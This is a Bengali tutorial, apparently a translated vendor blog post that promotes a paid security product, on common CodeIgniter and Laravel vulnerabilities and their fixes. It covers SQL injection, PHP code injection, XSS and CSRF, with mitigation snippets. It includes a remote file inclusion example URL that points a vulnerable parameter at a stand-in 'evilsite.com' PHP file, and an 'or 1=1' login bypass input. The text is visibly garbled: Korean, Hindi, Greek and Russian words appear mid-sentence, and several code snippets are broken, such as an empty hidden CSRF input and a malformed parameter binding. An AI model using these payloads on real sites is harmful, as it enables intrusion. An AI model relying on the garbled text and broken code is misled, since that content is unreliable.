কম্পিউটার টিউটোরিয়াল

CodeIgniter ও Laravel নিরাপত্তা: সাধারণ দুর্বলতাগুলি চিহ্নিত করুন এবং প্যাচ করুন

Laravel এবং CodeIgniter উভয়েই জনপ্রিয় PHP ফ্রেমওয়ার্ক যা ওয়েবসাইট তৈরির জন্য ব্যবহৃত হয়। উভয় ফ্রেমওয়ার্কের ওপেন সোর্স প্রকৃতির জন্যও তাদের জনপ্রিয়তা রয়েছে। তবে, ব্যবহারকারীদের বুঝতে হবে যে এই ফ্রেমওয়ার্কগুলো ব্যবহার করে সাইট ডিপ্লয় করলেই সেগুলি নিরাপদ হয় না। নিরাপদ ডেভেলপমেন্ট অনুশীলনই মূল বিষয়। CodeIgniter-এ SQL ইনজেকশন এবং Laravel-এ SQL ইনজেকশন হলো সাহায্য ফোরামগুলিতে সবচেয়ে সাধারণ দুটি নিরাপত্তা বিষয়। SQLi-র বাইরেও, असুরক্ষিত ডেভেলপমেন্ট অনুশীলন সাইটগুলিকে XSS, CSRF, RFI আক্রমণ ইত্যাদির प्रति সংবেদনশীল করে তোলে।

CodeIgniter ও Laravel ওয়েবসাইট হ্যাক: উদাহরণ

CodeIgniter বা Laravel-এ SQL ইনজেকশন এর মতো আক্রমণ ওয়েবসাইটকে ক্ষতিগ্রস্ত করতে পারে। এই আক্রমণগুলো খুব সাধারণ এবং ব্যাপক। তাই Laravel কমিউনিটি ফোরাম বা CodeIgniter কমিউনিটি ফোরামে অনুরূপ আক্রমণের শিকার অনেক ব্যবহারকারী সাহায্য চেয়ে পাওয়া যায়। এখানে কিছু উদাহরণ দেওয়া হলো।

CodeIgniter ও Laravel নিরাপত্তা: সাধারণ দুর্বলতাগুলি চিহ্নিত করুন এবং প্যাচ করুন CodeIgniter ও Laravel নিরাপত্তা: সাধারণ দুর্বলতাগুলি চিহ্নিত করুন এবং প্যাচ করুন

CodeIgniter বা Laravel হ্যাকের লক্ষণ

  • Laravel বা CodeIgniter ফিশিং পেজ যা সংবেদনশীল তথ্য চুরি করার জন্য ডিজাইন করা হয়েছে, ওয়েবসাইটে দেখা যায়।
  • ব্যবহারকারীরা ক্ষতিকর সাইটগুলিতে রিডাইরেক্ট হওয়ার অভিযোগ করছে।
  • জাপানিজ কিওয়ার্ড হ্যাক বা ফার্মা হ্যাক ইত্যাদির কারণে Laravel বা CodeIgniter সাইটে গিবারিশ কন্টেন্ট দেখা যায়।
  • Laravel বা CodeIgniter ওয়েবসাইট খুব ধীর হয়ে যায় এবং এরর মেসেজ দেখায়।
  • থার্ড-পার্টি হোস্টিং ব্যবহার করার সময়, "আপনার অ্যাকাউন্ট নিলম্বিত হয়েছে!" দেখা যায়।
  • Laravel বা CodeIgniter সাইট সার্চ ইঞ্জিনগুলিতে ব্ল্যাকলিস্টেড হয়ে যায়।
  • এরর লগে CodeIgniter-এ SQL ইনজেকশন এর মতো আক্রমণ দেখা যায়।
  • লগে রিমোট IP ঠিকানা থেকে ওয়েবসাইটে লগইন দেখা যায়।
  • লগইন ডেটাবেসে নতুন রোগ অ্যাডমিন দেখা যায়।

CodeIgniter বা Laravel হ্যাকের মূল কারণ

১) CodeIgniter বা Laravel হ্যাক: ইনজেকশন আক্রমণ

ক) CodeIgniter বা Laravel-এ SQL ইনজেকশন

CodeIgniter-এ SQL ইনজেকশন একটি খুব সাধারণ আক্রমণ যা ওয়েবে ব্যাপকভাবে ছড়িয়ে পড়ে। নামটিই ইঙ্গিত দেয় যে আক্রমণটি সার্ভারের ডেটাবেসকে লক্ষ্য করে। CodeIgniter-এ SQL ইনজেকশন শোষণ করে আক্রমণকারী:

  • ডেটাবেস থেকে ডেটা পুনরুদ্ধার করতে পারে।
  • ডেটাবেসের কন্টেন্ট পরিবর্তন করতে পারে (পুরো ডেটাবেস মুছে ফেলাও সম্ভব!)।
  • কিছু ক্ষেত্রে, রিভার্স শেল পেতে পারে।
  • অথ বা ১ = ১ এর মতো ইনপুট ব্যবহার করে অথেন্টিকেশন বাইপাস করতে পারে।

খ) CodeIgniter / Laravel-এ PHP কোড ইনজেকশন

PHP কোড ইনজেকশন একটি অন্য সাধারণ দুর্বলতা যা আক্রমণকারীদের Laravel / CodeIgniter সাইটে কোড এক্সিকিউট করতে দেয়। তবে, এটি কমান্ড ইনজেকশন থেকে ভিন্ন কারণ আক্রমণকারী শুধু সেই নির্দিষ্ট ভাষার কমান্ড এক্সিকিউট করতে পারে। কমান্ড ইনজেকশন আক্রমণকারীদের রিভার্স শেলের মাধ্যমে কমান্ড এক্সিকিউট করতে দেয়। উদাহরণস্বরূপ, ভালনরেবল প্যারামিটারটিকে একটি ম্যালিশাস ফাইলের লিংক দিয়া যাতে PHP কোড থাকে যা এক্সিকিউট হবে, যেমন: https://testsite.com/?page=https://evilsite.com/evilcode.php

এই ফাইলটিতে phpinfo() এর মতো ফাংশন থাকতে পারে যা তথ্য পেতে ব্যবহার করা যেতে পারে।

২) CodeIgniter বা Laravel হ্যাক: CodeIgniter / Laravel-এ ক্রস-সাইট স্ক্রিপ্টিং (XSS)

ইনপুট স্যানিটাইজেশনের অভাবের কারণে Laravel / CodeIgniter 웹সাইটগুলিতে XSS দুর্বলতা হয়। উভয় ফ্রেমওয়ার্কেরই এই আক্রমণগুলো প্রতিরোধ করার জন্য বিশেষভাবে ডিজাইন করা নিরাপত্তা ফাংশন রয়েছে। XSS আক্রমণ শোষণ করে আক্রমণকারী:

  • ব্যবহারকারীদের ফিশিং করে কুকিজ এবং অন্যান্য সংবেদনশীল সেশন ডেটা চুরি করতে পারে।
  • ব্যবহারকারীদের ম্যালিশাস সাইটে রিডাইরেক্ট করতে পারে।
  • সেম-অরিজিন পলিসি বাইপাস করতে ব্যবহার করা যেতে পারে।

৩) Laravel বা CodeIgniter হ্যাক: CodeIgniter / Laravel-এ ক্রস-সাইট রিকোয়েস্ট ফোরজারি (CSRF)

এই আক্রমণ ব্যবহারকারীদের অবাঞ্ছিত কাজ করতে প্ররোচিত করার জন্য লক্ষ্য করে। তবে, এই ধরনের আক্রমণ শুধু ডেটা ম্যানিপুলেট করতে (ফর্ম ডিলিট করা ইত্যাদি) ব্যবহার করা যায়, ডেটা চুরি বা পড়তে নয়। সর্বোচ্চ পরিস্থিতিতে, যদি শিকার অ্যাডমিন হয়, পুরো অ্যাপ্লিকেশন ধ্বংস করা সম্ভব। এই আক্রমণ সোশ্যাল ইঞ্জিনিয়ারিং ট্রিক ব্যবহার করে শিকারদের এমন লিংকে ক্লিক করায় যা পিক্সেলে অ্যাকাউন্ট ডিলিট করার মতো কমান্ড এক্সিকিউট করে।

CodeIgniter ও Laravel নিরাপত্তা: সাধারণ দুর্বলতাগুলি চিহ্নিত করুন এবং প্যাচ করুন

CodeIgniter বা Laravel সাইট হ্যাক হয়েছে? চ্যাট উইজেটে আমাদের মেসেজ দিন, আমরা আপনার হ্যাক করা Laravel / CodeIgniter ওয়েবসাইট ঠিক করতে সাহায্য করব।

৪) আপনার CodeIgniter / Laravel ওয়েবসাইট সুরক্ষিত করুন

CodeIgniter বা Laravel হ্যাক: CodeIgniter-এ SQL ইনজেকশন প্রতিরোধ করুন

CodeIgniter নিরাপত্তা ফিচারগুলোর ভাণ্ডার নিয়ে আসে। 그중 কিছু হলো CodeIgniter-এ SQL ইনজেকশন প্রতিরোধ করার জন্য ফাংশন এবং লাইব্রেরি। এই আর্টিকেলে, আমি মূল ৩টি পদ্ধতি ধাপে ধাপে ব্যাখ্যা করব।

CodeIgniter বা Laravel হ্যাক: CodeIgniter-এ কোয়েরি এস্কেপ করুন

PHP অ্যাপ্লিকেশনে সাবমিট করার আগে ডেটা এস্কেপ করলে সেগুলি স্যানিটাইজ হয়। তাই এটি একটি নিরাপদ অনুশীলন যা নিয়মিত অনুসরণ করা উচিত। কোয়েরি এস্কেপ তিনটি পদ্ধতিতে করা যায়:

  1. $this->db->escape(): এস্কেপ করার আগে ডেটা টাইপ নির্ধারণ করে
  2. $this->db->escape_str(): ডেটা টাইপ নির্ধারণ করে না, শুধু এস্কেপ করে।
  3. $this->db->escape_like_str(): শর্তসাপেক্ষে ব্যবহার করা যায়।

আরো স্পষ্ট করার জন্য নিচের কোড স্নিপেটটি দেখুন।

<?php
$email = $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name ='. $this->db->escape($email);
$this->db->query($query);
?>

এই কোডে, $this->db->escape() ফাংশনটি প্রথমে ডেটা টাইপ নির্ধারণ করে যাতে শুধু স্ট্রিং ডেটা এস্কেপ হয়। 더불어, এটি স্বয়ংক্রিয়ভাবে ইনপুট ডেটার চারপাশে সিঙ্গেল কোট যোগ করে। এটি CodeIgniter-এ SQL ইনজেকশন প্রতিরোধ করে।

CodeIgniter বা Laravel হ্যাক: CodeIgniter-এ কোয়েরি বাইন্ডিং

কোয়েরি বাইন্ডিং ইনপুট স্যানিটাইজ করার পাশাপাশি কোডও সরল করে। এই পদ্ধতিটি সিস্টেমকে কোয়েরি তৈরির দায়িত্ব দেয়, ডেভেলপারের জটিলতা কমিয়ে দেয়। উদাহরণস্বরূপ, নিচের কোড স্নিপেটটি দেখুন।

<?php $sql = "SELECT * FROM subscribers_tbl WHERE status =? AND email =?"; $this->db->query($sql, array('active', 'admin@wsxdn.com'));?>

এখানে, আপনি প্রথম লাইনে মানগুলোর বদলে প্রশ্নচিহ্ন দেখতে পাচ্ছেন। কোয়েরি বাইন্ডিংয়ের কারণে, এই প্রশ্নচিহ্নগুলো দ্বিতীয় লাইনের অ্যারে থেকে মান দিয়ে প্রতিস্থাপিত হয়। আগের উদাহরণে, আমরা ম্যানুয়ালি কোয়েরি এস্কেপ করেছিলাম, কিন্তু এখানে এটি স্বয়ংক্রিয়ভাবে হয়। ফলে CodeIgniter-এ SQL ইনজেকশন রুকে যায়।

CodeIgniter বা Laravel হ্যাক: CodeIgniter-এ এক্টিভ রেকর্ড ক্লাস

CodeIgniter-এর এক্টিভ রেকর্ড ফিচার আমাদের ন্যূনতম কোড লাইন বা স্ক্রিপ্ট দিয়ে ডেটাবেস অপারেশন করতে দেয়। যেহেতু এটি সিস্টেমের নিজস্ব একটি ফিচার, কোয়েরি এস্কেপিং স্বয়ংক্রিয়ভাবে হয়। উদাহরণস্বরূপ, একটি টেবিলের সारा ডেটা একটি সিম্পল কোয়েরি দিয়ে পাওয়া যায়:

$query = $this->db->get('mytable');

CodeIgniter বা Laravel হ্যাক: Laravel-এ SQL ইনজেকশন প্রতিরোধ করুন

Laravel-এর অবজেক্ট-রিলেশনাল ম্যাপিং (ORM) PHP অবজেক্ট ডেটা বাইন্ডিং ব্যবহার করে ব্যবহারকারীর ইনপুট স্যানিটাইজ করে, যা Laravel SQL ইনজেকশন প্রতিরোধ করে। প্যারামিটার বাইন্ডিং অটোমেটিক্যালি কোটেশন যোগ করে, যা অথবা ১ = ১ এর মতো বিপজ্জনক ইনপুটকে অথেন্টিকেশন বাইপাস করতে রোধ করে।

$results = DB::select('select * from users where id =: id', ['id' => 1]);

এখানে Laravel-এ একটি নামড প্যারামিটার বাইন্ডিং কোয়েরির ইমপ্লিমেন্টেশন দেখানো হয়েছে।

CodeIgniter বা Laravel হ্যাক: CodeIgniter-এ ক্রস-সাইট স্ক্রিপ্টিং প্রতিরোধ করুন

সম্ভাব্য XSS আক্রমণ প্রতিরোধ করতে, CodeIgniter একটি প্রি-বিল্ট XSS ফিল্টার নিয়ে আসে। যদি এই ফিল্টার কোনো ম্যালিশাস রিকোয়েস্ট পায়, তবে সেটিকে তার ক্যারেক্টার এন্টিটিতে রূপান্তর করে, অ্যাপ্লিকেশনকে সুরক্ষিত করে। এই ফিল্টার xss_clean() মেথডের মাধ্যমে অ্যাক্সেসযোগ্য:

$data = $this->security->xss_clean($data);

তবে, আক্রমণকারী কখনো কখনো ইমেজ ফাইলে ম্যালিশাস কোড ইনজেক্ট করতে পারে। 그런 আক্রমণ প্রতিরোধ করতে আপলোড করা ফাইলগুলোর নিরাপত্তা ও যাচাই করা যেতে পারে। উদাহরণস্বরূপ, নিচের কোডটি দেখুন।

if ($this->security->xss_clean($file, TRUE) === FALSE)

{

// ফাইলটি XSS টেস্টে ফেল করেছে

}

এই কোড True বুলিয়ান মান রিটার্ন করবে যদি ইমেজটি নিরাপদ হয়, অন্যথায় False। কিন্তু এখানে নোট করলে ভালো যে, আপনি যদি HTML অ্যাট্রিবিউট ভ্যালু ফিল্টার করতে চান তবে html_escape() মেথড ব্যবহার করার পরামর্শ দেওয়া হয়।

CodeIgniter বা Laravel হ্যাক: Laravel-এ ক্রস-সাইট স্ক্রিপ্টিং প্রতিরোধ করুন

স্ট্রিং এস্কেপিং ব্যবহার করে Laravel ওয়েবসাইটগুলিতে XSS আক্রমণ প্রতিরোধ করা যায়। স্ট্রিং এস্কেপিং অননুমোদিত ইনপুটের ইমপ্লিমেন্টেশন প্রতিরোধ করবে। তবে, লারাভেল ৫.১ এর উপরের ভার্সনে এই ফিচারটি ডিফল্টলি সক্রিয় থাকে। তাই, যখন ইনপুট যেমন: <div> {{$task->names}} </div> লারাভেল ৫.১ এর উপরের ভার্সনে দেওয়া হয়, অ্যাপ্লিকেশনটি দুর্বলতা থেকে মুক্ত থাকে কারণ কোয়েরি স্বয়ংক্রিয়ভাবে এস্কেপ হয়। 더불어, ব্যবহারকারীর দেওয়া ইনপুটের দৈর্ঘ্য সীমাবদ্ধ করাও কিছু ধরণের XSS এবং SQLi আক্রমণ প্রতিরোধ করতে পারে। এটি নিচের HTML কোড দিয়ে করা যায়।

<input type="text" name="task" maxlength="10">

এটি JS ফাংশন দিয়েও ইমপ্লিমেন্ট করা যায়। 더불어, Laravel-এ {% raw%} {{}} {% endraw%} সিনট্যাক্স ডিফল্টলি সকল ম্যালিশাস HTML এন্টিটি এস্কেপ করে। 더불어, কিছু লাইব্রেরি এই কাজের জন্য ειδিকভাবে ডিজাইন করা হয়েছে যা Laravel XSS প্রতিরোধ করতে ব্যবহার করা যেতে পারে। আপনি যদি Blade-এর মতো টেমপ্লেট ইঞ্জিন ব্যবহার করেন, তবে এটি স্বয়ংক্রিয়ভাবে এস্কেপিং ব্যবহার করে এমন আক্রমণ প্রতিরোধ করবে।

CodeIgniter বা Laravel হ্যাক: CodeIgniter-এ CSRF আক্রমণ প্রতিরোধ করুন

CodeIgniter-এ CSRF প্রোটেকশন application/config/config.php ফাইল মডিফাই করে সক্রিয় করা যায়। শুধু নিচের কোডটি ফাইলে যোগ করুন:

$config['csrf_protection'] = TRUE;

Form Helper ব্যবহারকারীরা form_open() ফাংশনটি ডিফল্টলি ফর্মগুলিতে একটি হিডেন CSRF টোকেন ফিল্ড ইনসার্ট করতে পারে। CSRF প্রোটেকশন ইমপ্লিমেন্ট করার অন্য একটি পদ্ধতি হলো get_csrf_token_name() এবং get_csrf_hash() ব্যবহার করা। রেফারেন্সের জন্য, নিচে একটি ফর্ম এবং সার্ভার-সাইড ইমপ্লিমেন্টেশনের দুটি কোড স্নিপেট দেওয়া হলো।

$csrf = array(

'name' => $this->security->get_csrf_token_name(),

'hash' => $this->security->get_csrf_hash()));

————————————————– ——————

<input type="hidden" name="" value="" />

টোকেন রিজেনারেশনও CodeIgniter CSRF আক্রমণ প্রতিরোধের জন্য একটি নিরাপদ অনুশীলন। তবে, টোকেন রিজেনারেশন সমস্যা সৃষ্টি করতে পারে কারণ ব্যবহারকারীদের অন্য ট্যাবে নেভিগেট করার পর নতুন করে ভ্যালিডেশন করতে হতে পারে। টোকেন রিজেনারেশন নিচের কনফিগারেশন প্যারামিটার দিয়ে করা যায়:

$config['csrf_regenerate'] = TRUE;

CodeIgniter বা Laravel হ্যাক: Laravel-এ CSRF আক্রমণ প্রতিরোধ করুন

Laravel-এ ফর্মগুলিতে CSRF আক্রমণ থেকে রক্ষা পেতে টোকেন ইমপ্লিমেন্ট করা থাকে। এই টোকেনগুলো AJAX কল দিয়ে ডাকা হয় যা প্রতিটি ফর্মে বিল্ট-ইন থাকে। রিকোয়েস্ট টোকেন ডেটা সার্ভারে সংরক্ষিত ব্যবহারকারীর সেশন ডেটার সাথে মিলিয়ে যাচাই করা হয়। CSRF টোকেন ফর্মগুলিতে নিচের কোড দিয়ে পাস করা যায় (ব্লেড টেমপ্লেট ইমপ্লিমেন্টেশন):

<form name="CSRF Implementation">

{!! csrf_field() !!}

<!-- অন্যান্য ইনপুটগুলো এখানে আসতে পারে -->

</form>

তবে, LaravelCollective/HTML প্যাকেজ ব্যবহার করলে CSRF টোকেন ডিফল্টলি যোগ হয়।

CodeIgniter বা Laravel হ্যাক: এরর রিপোর্টিং ব্লক করুন

ফাইল এরর ডেভেলপমেন্ট এনভায়রনমেন্টে উপকারী। কিন্তু ওয়েবে, CodeIgniter ফাইল এরর আক্রমণকারীদের সাথে Потেনশিয়ালি সংবেদনশীল তথ্য লিক করতে পারে। তাই এরর রিপোর্টিং ডিজেবল করার পরামর্শ দেওয়া হয়।

PHP এরর

PHP এরর রিপোর্টিং ডিজেবল করতে index.php ফাইলটি ব্যবহার করুন। error_reporting() ফাংশনে আর্গুমেন্ট হিসেবে শূন্য পাস করুন। রেফারেন্সের জন্য নিচের উদাহরণটি দেখুন।

error_reporting(0);

তবে, CodeIgniter 2.0.1 এবং উপরের ভার্সনে, index.php ফাইলে এনভায়রনমেন্ট কনস্ট্যান্টকে 'production'-এ সেট করে PHP এরর আউটপুট ডিজেবল করা যায়।

ডেটাবেস এরর

application/config/database.php ফাইল মডিফাই করে ডেটাবেস এরর ডিজেবল করা যায়। শুধু db_debug অপশনটি FALSE-এ সেট করুন। রেফারেন্সের জন্য নিচের উদাহরণটি দেখুন:

$db['default']['db_debug'] = FALSE;

এরর লগিং

একটি স্মার্ট উপায় হলো ঘটে যাওয়া এররগুলিকে লগ ফাইলে ট্রান্সফার করা, যাতে সেগুলি ডিসপ্লে না হয়। /config/config.php ফাইলের log_threshold অপশনটি ১-এ সেট করে এটি করা যায়। রেফারেন্সের জন্য নিচের উদাহরণটি দেখুন।

$config['log_threshold'] = 1;

Laravel বা CodeIgniter-এ ওয়েব অ্যাপ্লিকেশন ফায়ারওয়াল ব্যবহার করুন

এক্সপার্টরা ও কখনো কিছু কনফিগারেশন মিস করতে পারে যা Laravel / CodeIgniter সাইটকে ভালনরেবল করতে পারে। 더불어, আক্রমণকারী বায়ে নতুন নতুন পদ্ধতি খুঁজে বের করে আপনার সাইট কম্প্রোমাইজ করতে। তাই একটি নিরাপদ অনুশীলন হলো একটি ফায়ারওয়াল বা নিরাপত্তা সমাধান ব্যবহার করা। Astra এমন একটি নিরাপত্তা সমাধান যা আপনার নমনীয় প্রয়োজনীয়তা পূরণ করার জন্য ডিজাইন করা হয়েছে। আপনি যা ব্যবহার করছেন শুধু তার জন্য অর্থ দিন। Astra একটি রেডি-টু-ইউজ নিরাপত্তা সমাধান যার দাম মাসিক ৯ ডলার থেকে শুরু। আমাদের মেসেজ দিন এবং আপনার PHP কোড সুরক্ষিত করার আরও নিকটে যান। এখন ডেমো পান!

CodeIgniter ও Laravel নিরাপত্তা: সাধারণ দুর্বলতাগুলি চিহ্নিত করুন এবং প্যাচ করুন

Astra আপনার Laravel বা CodeIgniter ওয়েবসাইটের জন্য ৮০টিরও বেশি এক্টিভ টেস্ট সহ একটি সম্পূর্ণ নিরাপত্তা অডিট প্রদান করে, যা ম্যানুয়াল এবং অটোমেটেড টেস্টের ভালো মিশ্রণ।


  1. আপনার ওয়েবসাইটে জাপানিজ কিওয়ার্ড হাইজ্যাকিং ফিক্স করুন – SEO স্প্যাম থেকে রক্ষা পান

  2. আপনার PHP সাইট কি কম্প্রোমাইজড? সাধারণ PHP লুকসান যেগুলো আপনাকে অবশ্যই সমাধান করতে হবে

  3. Google-এর ব্ল্যাকলিস্ট থেকে আপনার ওয়েবসাইট সরান – ওয়ার্ডপ্রেস, Magento, PrestaShop, OpenCart, Drupal, Joomla এবং PHP সাইটের জন্য গাইড

  4. ওয়েবসাইট ব্যাকডোর সনাক্ত এবং রিমুভ করা: সম্পূর্ণ গাইড